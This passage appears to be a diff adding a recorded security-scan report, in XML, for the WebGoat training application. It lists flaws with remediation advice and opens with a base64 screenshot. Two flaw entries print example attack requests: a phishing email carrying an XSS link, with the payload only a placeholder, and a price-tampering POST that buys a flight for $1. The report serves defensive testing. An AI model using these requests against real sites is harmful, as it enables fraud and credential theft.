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</data>\n</screenshot>\n<code>The
+        following POST request demonstrates the issue. It send an email message to
+        Phising.Victim@owasp.org. The message body contains a link that when clicked
+        will utilize a cross-site scripting attack to make the phising attack appear
+        more legitimate.\n\nPOST /WebGoat/attack?Screen=1706623184&amp;menu=1700 HTTP/1.1\nHost:
+        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
+        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=1706623184&amp;menu=1700\nCookie:
+        JSESSIONID=13984BA559044E0A4610D4AC31B06B27\nContent-Type: application/x-www-form-urlencoded\nContent-Length:
+        339\n\ngId=GMail+id&amp;gPass=password&amp;subject=Password Reset Necessary!&amp;to=Phising.Victim%40owasp.org&amp;msg=Due
+        to a security flaw in our software all users must immediatly reset their password.
+        Please click the following link to reset your password: http://targethost/WebGoat/somevulnerablepage?xssparam=XssPayLoadThatWillStealPassword&amp;SUBMIT=Send%21</code>\n</appendix>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of Assumed-Immutable Web Parameter\"
+        count=\"1\" issueid=\"273\" module=\"manual_analysis\" type=\"\" description=\"The
+        application trusts values used in business logic that originate from the client.
+        The price of a flight is passed to the client through a JSON request. The
+        price value is subsequently sent back to the application when the client orders
+        a flight. There is no verification that the price value has not be modified.\"
+        note=\"\" cweid=\"472\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"25\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=655909089&amp;menu=400\"
+        cvss=\"6\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"price2Submit\">\n<exploit_desc>A
+        malicious client attempting to book a flight and save money can intercept
+        the booking request and modify the price.</exploit_desc>\n<severity_desc>The
+        issue becomes severe since the malicious client will cause a loss in revenue.
+        A sophisticated attacker may resell the stolen flights at a discounted rate,
+        causing an even larger loss in revenue.</severity_desc>\n<remediation_desc>Only
+        send values from the client to the application that are necessary and cannot
+        be obtained from an internal data source. The price of the flight can be associated
+        with the the client's session, then obtained from the internal and trusted
+        data source as necessary. Treat all values from the client as untrusted.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<code>The
+        following POST request allows a ticket from BOS to SEA to be purchased for
+        1 dollar.\nNotice that the price2Submit parameter is set to %241 or $1\n\nPOST
+        /WebGoat/attack?Screen=655909089&amp;menu=400 HTTP/1.1\nHost: targethost\nUser-Agent:
+        Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1\nAccept:
+        text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=655909089&amp;menu=400\nCookie:
+        JSESSIONID=13984BA559044E0A4610D4AC31B06B27\nContent-Type: application/x-www-form-urlencoded\nContent-Length:
+        69\n\ntravelFrom=BOS&amp;travelTo=SEA&amp;radio0=on&amp;SUBMIT=Submit&amp;price2Submit=%241</code>\n</appendix>\n</flaw>\n</manualflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"13\" categoryname=\"Race Conditions\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Race conditions are the most well-known timing flaw and are related
+        to improper handling of a resource that can be accessed by multiple processes.
+        \ Race conditions exploit the small window of time between when a security
+        control is applied and when the service is used.  Vulnerabilities occur when
+        there is a discrepancy between the programmer's assumption of how a program
+        executes and what happens in reality. \"/>\n<para text=\"Attackers often exploit
+        race conditions to gain unauthorized access to system resources.  A common
+        scenario is a time-of-check time-of-use race condition, which takes advantage
+        of a timing gap between the time the authorization check is performed and
+        the time the resource is actually used. \"/>\n</desc>\n<recommendations>\n<para
+        text=\"Review the code carefully for any pair of operations that might fail
+        if arbitrary code is executed between them. Often, developers assume that
+        a series of actions represent an atomic operation when in fact they do not.
+        These non-atomic conditions commonly involve the filesystem and/or temporary
+        files.\"/>\n<para text=\"Pay close attention to asynchronous actions in processes
+        and make copious use of sanity checks in systems that may be subject to synchronization
+        errors.\"/>\n</recommendations>\n<cwe cweid=\"366\" cwename=\"Race Condition
+        within a Thread\" pcirelated=\"false\" certc=\"748\" certcpp=\"882\" certjava=\"852\">\n<description>\n<text
+        text=\"If two threads of execution use a resource simultaneously, there exists
+        the possibility that resources may be used while invalid, in turn making the
+        state of execution undefined.\"/>\n</description>\n<staticflaws>\n<flaw severity=\"3\"
+        categoryname=\"Race Condition within a Thread\" count=\"1\" issueid=\"47\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"span.set\" description=\"There
+        are total of 12 instances. A shared variable 'mySession' is used here without
+        a locking mechanism such as a synchronized block. If two threads of execution
+        reference a shared variable simultaneously, the variable may be invalid or
+        in an unexpected state.\r\n\r\nUse locking functionality around code that
+        alters or reads persistent data in a multi-threaded environment.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/366.html)\r\n\r\n\" note=\"\"
+        cweid=\"366\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"13\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"npp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HammerHead.java\"
+        line=\"135\" sourcefilepath=\"org/owasp/webgoat/\" scope=\"org.owasp.webgoat.HammerHead\"
+        functionprototype=\"void doPost(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)\"
+        functionrelativelocation=\"3\"/>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<severity
+        level=\"2\">\n<category categoryid=\"7\" categoryname=\"API Abuse\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"An API is a contract between a caller and a callee. Incorrect usage
+        of certain API functions can result in exploitable security vulnerabilities.\"/>\n<para
+        text=\"The most common forms of API abuse are caused by the caller failing
+        to honor its end of this contract.  For example, if a program fails to call
+        chdir() after calling chroot(), it violates the contract that specifies how
+        to change the active root directory in a secure fashion.  Providing too few
+        arguments to a varargs function such as printf() also violates the API contract
+        and will cause the missing parameters to be populated with unexpected data
+        from the stack.\"/>\n<para text=\"Another common mishap is when the caller
+        makes false assumptions about the callee's behavior.  One example of this
+        is when a caller expects a DNS-related function to return trustworthy information
+        that can be used for authentication purposes.  This is a bad assumption because
+        DNS responses can be easily spoofed.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"When calling API functions, be sure to fully understand and adhere
+        to the specifications to avoid introducing security vulnerabilities.  Do not
+        make assumptions about trustworthiness of the data returned from API calls
+        or use the data in a context that was unintended by that API.\"/>\n</recommendations>\n<cwe
+        cweid=\"245\" cwename=\"J2EE Bad Practices: Direct Management of Connections\"
+        pcirelated=\"false\">\n<description>\n<text text=\"The J2EE application directly
+        manages connections rather than using the container's resource management
+        facilities to obtain connections as specified in the J2EE standard.  Every
+        major web application container provides pooled database connection management
+        as part of its resource management framework. Duplicating this functionality
+        in an application is difficult and error prone, which is part of the reason
+        it is forbidden under the J2EE standard.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"202\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CreateDB.java\"
+        line=\"69\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.CreateDB\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"16\"/>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"114\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"68\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(WebSession)\" functionrelativelocation=\"93\"/>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"41\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
